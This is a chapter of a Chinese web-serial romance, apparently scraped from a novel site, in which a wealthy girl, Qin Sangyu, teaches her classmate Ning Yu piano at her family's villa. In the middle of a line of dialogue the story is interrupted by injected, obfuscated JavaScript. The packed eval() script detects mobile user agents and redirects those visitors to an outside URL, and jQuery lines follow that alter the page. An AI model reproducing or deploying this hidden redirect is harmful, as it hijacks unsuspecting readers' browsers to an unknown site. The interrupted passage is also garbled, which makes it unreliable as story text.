宁隅左手摸了摸自己的脸,是有些热。
连忙放下托举着秦桑榆书包的右手,语气里带了些慌乱,
“抱歉,我只是看你背的好像有些累了。”
秦桑榆做了一个终止的手势,
“你着急什么呀,我又不会怪你。”
“嗯。”
两个人又一起走了一段路,才到了秦桑榆和王司机约定的位置。
“走吧,上车。”
看宁隅愣了一下,秦桑榆迈进车子的左腿又迈出来,
“怎么啦?”
“我们这是要去哪?”
秦桑榆撇嘴,“你忘了吗?我不是说好要负责教你练琴吗?”
见宁隅不说话,“是郊区那边,我家有空房子在那里。”
秦桑榆不知道他在想什么,只是干着急,
“你该不会是想反悔了吧?”
“我没有。”
宁隅还想说些什么,却欲言又止。
秦桑榆着急的时候总会想很多东西,她忽然记起前两天宁隅对向她告白的那个女生说的那句话。
“你看到了吧,和我在一起是很痛苦的。”
秦桑榆在心里苦笑一声,然后使了大力气将宁隅拽进车里。
“你放心吧,我秦桑榆命好的很。才不会轻而易举因为其他人变得痛苦。”
能让她感到痛苦的,只有她自己。
王成业开车很稳,宁隅毫无波澜的望向车窗外,直到车子离学校足够远,他才开口说话。
“你知道我心里在想什么?”
秦桑榆示意他把书包脱下来,
“是呀,你不就是害怕,我和你呆在一起,会被那些人记恨。然后被人捉弄,传闲话,恶搞嘛。”
宁隅的眼神里闪过一丝悲悯,不是悲谁,而是在悼念自己。
“既然你都知道了……你是在可怜我吗?”
秦桑榆被宁隅逗笑了,纤细的食指指着自己。
“宁隅,我?可怜你?”
她将额前碎发捋至耳后,“我有什么资格可怜你?”
秦桑榆深吸一口气,“我不会去可怜任何人,你也不要指望我去可怜你。”
“我明白了。”
宁隅似乎又归于平静,秦桑榆的心里却还在愤愤不平。
认识他已经一个月了,虽然自己是挺闲的,但是他课业重啊。宁隅指定不知道,秦桑榆找这一个月里为了不打扰他学习,不打扰他打工,天天摸索寻找他的空闲时间,找的也是辛苦的。
这哪是可怜啊,这不是明目张胆的喜欢吗。
秦桑榆觉得宁隅比自己家后院那一片小树林里的木头都木头。
罢了罢了,自己也懒得和他计较了。
“桑榆呀,叔叔先去给你爸爸送个文件。”
宁隅望了一眼车窗外,“秦氏集团”四个字赫然出现在他眼帘。
“叔叔你先去吧,我在车里等你。”
“秦氏集团…秦桑榆。”
原来她是秦和光的女儿。
宜京市绝大多数人都知晓秦氏家族,并非仅仅是因为他在商业上,更多的还是秦氏家族作为爱国商人世代相传的忠义,据说,秦桑榆的太爷爷,秦有业老先生,在抗战时期拿出无数家族资产为敌前和敌后战场做出无数贡献,拯救了不少垂死的战士,使上万个家庭免遭面临支离破碎的悲剧。
他的壮举不仅书写了战时传奇,也在战后恢复,经济复苏史书的书写上,埋下浓墨重彩的一笔。
因此许多人感恩他,秦氏工场也就是秦氏集团的前身,甚至被写进教材里。
秦有业先生一生忠义为国,四子只余秦守业一人,秦守业继承父亲的衣钵,将当时的秦氏工厂发扬中外。其子秦和光更是抓住改革开放的浪潮,响应国家号召,发展企业,直至今日,深耕游戏,影视,人工智能领域,无处不在的影响了人们的生活。
据说,秦和光只有一个女儿。
宁隅看向面前眉眼弯弯的秦桑榆。
似月亮般皎洁的你,为什么要靠近这么不堪的我。
他的心底萦绕着这样一句话。
而此刻,秦桑榆清冽的嗓音却荡漾在他耳边。
“你发什么呆呀?”
“没事。”
“你现在开心点了吗?”
“嗯。”
“那你笑一下吧。”
宁隅憋出了一个微笑,秦桑榆竟然顺手拿出一个小镜子。
宁隅终于发出一个真心实意的笑容,秦桑榆变戏法似的,拿出手中的相机,定格了这一瞬间。
“你看,多好看呀,以后就要多笑嘛。”
秦桑榆举着相机在宁隅眼前。
宁隅轻笑一声,语气里带了些宠溺。
“你的口袋到底有多大?”
秦桑榆对上宁隅的眼神,抿嘴一笑。
“不告诉你。”
与此同时,办公室里的秦和光坐不住了。
“什么?!小鱼和一个男生呆在一起?”
王成业一把按住将要从桌椅上弹射出发的秦和光,
“董事长,您先别急。我还摸不准这位到底是不是普通朋友。”
秦和光这才按捺住自己想去和宁隅碰上一面的想法,
“行吧,那你以后多注意点。”
“好。”
……
“好吗?”
“好。”
秦桑榆伸出手,想要和宁隅约定。
“那就说好啦,文化节前的每个放学,你都要和我在一起。”
宁隅刚伸出手,准备搭上秦桑榆的手指。
便听到车窗外轻咳一声,
两人便齐齐向窗外看去,
“王叔叔,你回来啦!我爸爸在干嘛呀?”
“董事长在开会。”
“哦,我们先走吧!等练完了我还可以陪陪爸爸呢。”
王成业上了车,秦桑榆把手搭在宁隅的手指上轻轻摇晃了几下,
“那就说定啦!”
王成业眼神不受控制的,瞥向秦桑榆的方向。但是也不好说什么,毕竟这个年纪的孩子,保不准会带些叛逆。
没一会儿就开到了秦桑榆家郊区的房子,这一片都是别墅区,且因为离市中心很远,所以还是比较安静的,秦和光在这个别墅区一共有两套房子,一套是当时结婚的婚房,另一套就是秦桑榆和宁隅此行的目的地—专门为秦桑榆装修的一套房子。
两栋房子挨在一起,独栋带后院,绿化面积也高,在院子里就可以泡温泉。而且宗粲家在这里,所以秦桑榆经常在放假的时候拉着温煜柔过来玩。
“小鱼啊,这次来找你宗粲哥哥玩,不带小柔吗?”
“叔叔,粲哥哥还没回国
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17342034|199387||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
呢。再说,这次我和他来是有正经事的。”
王成业笑了笑,“是叔叔老糊涂了,忘了你哥哥还在外面念书。”
王成业边说话边转弯,把车停到了车位。
“下车啦,两位同学。”
宁隅接过秦桑榆的包,看着她下了车,
“你们就先进去玩吧。”
王成业低头看了一下表,
“现在是五点,等到七点了叔叔来接你回家吃饭。”
“好,那叔叔你路上慢点。”
王成业点了点头,目送秦桑榆远去。
一路上全是修剪的很精致的树木花草,别墅藏在树影和灯光里,空气很清新,满是掩盖不住的奢华。比起开车进去,秦桑榆更喜欢走路,也因此没有让王成业开进来。
“到啦到啦,这两栋是我家,旁边是我哥哥家。”
秦桑榆一边向宁隅介绍,一边带着他进去。
虽然不常居住,但是院子还是被人收拾的很整洁。
“你记住位置了吧?寒暑假我都会在这里可以来找我玩,我带你去我哥哥家,他可会做饭了,咱们过去蹭饭。”
秦桑榆开了灯,带着宁隅上了电梯,
“走吧,琴房在二楼。”
因着宁隅是初学者,但是钢琴又是一项长久的学习,所以秦桑榆选择了一首,简单又应景的——《菊次郎的夏天》
“我先给你弹一遍哦。”
“好。”
宁隅注视着秦桑榆,流畅优美的乐曲随着她指尖的灵活跳动而展现,走进他的耳朵。
宁隅觉得,秦桑榆此刻像是一只蝴蝶。
扑动翅膀,缓缓飞进他心里。
“大功告成!怎么样?”
秦桑榆期待着宁隅的回答,
“很好。”
“那就好,那我现在开始教你吧。”
宁隅按着秦桑榆的指示,盯着她灵动翻飞的纤细手指,时而似蝴蝶般雀跃,时而像洪水般汹涌。
音乐随着秦桑榆的指尖,逐渐在宁隅面前舒展开来。
因为宁隅是初学者,所以秦桑榆只好先教了他一些速成技巧。但是要说是实打实的去学,那必然是要下很大一番功夫的。
秦桑榆很小的时候就已经过了英皇十级,教起来宁隅算是轻而易举,且宁隅聪明学的又快,没一会儿就掌握了全部。
“那以后我们再回来多练几遍,增加熟练度,好吗?”
“都听你的。”
话罢,秦桑榆肚子传来一阵叽里呱啦的声音。
两个人面对面挤出来一个难以言喻的笑容。
秦桑榆语气里带着些羞涩,
“看来我有些饿了。”
话罢,抬头看宁隅的反应。
“走吧,去吃饭。”
“和我一起吗?”
“嗯。”
宁隅顺手拿起秦桑榆的包,跟在她身后出了门。
宁隅听从秦桑榆的提议,去了宜京很有名的一个川菜馆。
宁隅拿着纸巾,给秦桑榆擦了擦碗筷。
“我妈妈年轻的时候,在四川上大学,她可喜欢吃火锅了。我从小就经常被她带到川渝地区,也是练出来了!”
“对了对了,我给你一下我的油碟配方!”
秦桑榆起了身,招呼着宁隅去配料台。
“你看好啦…”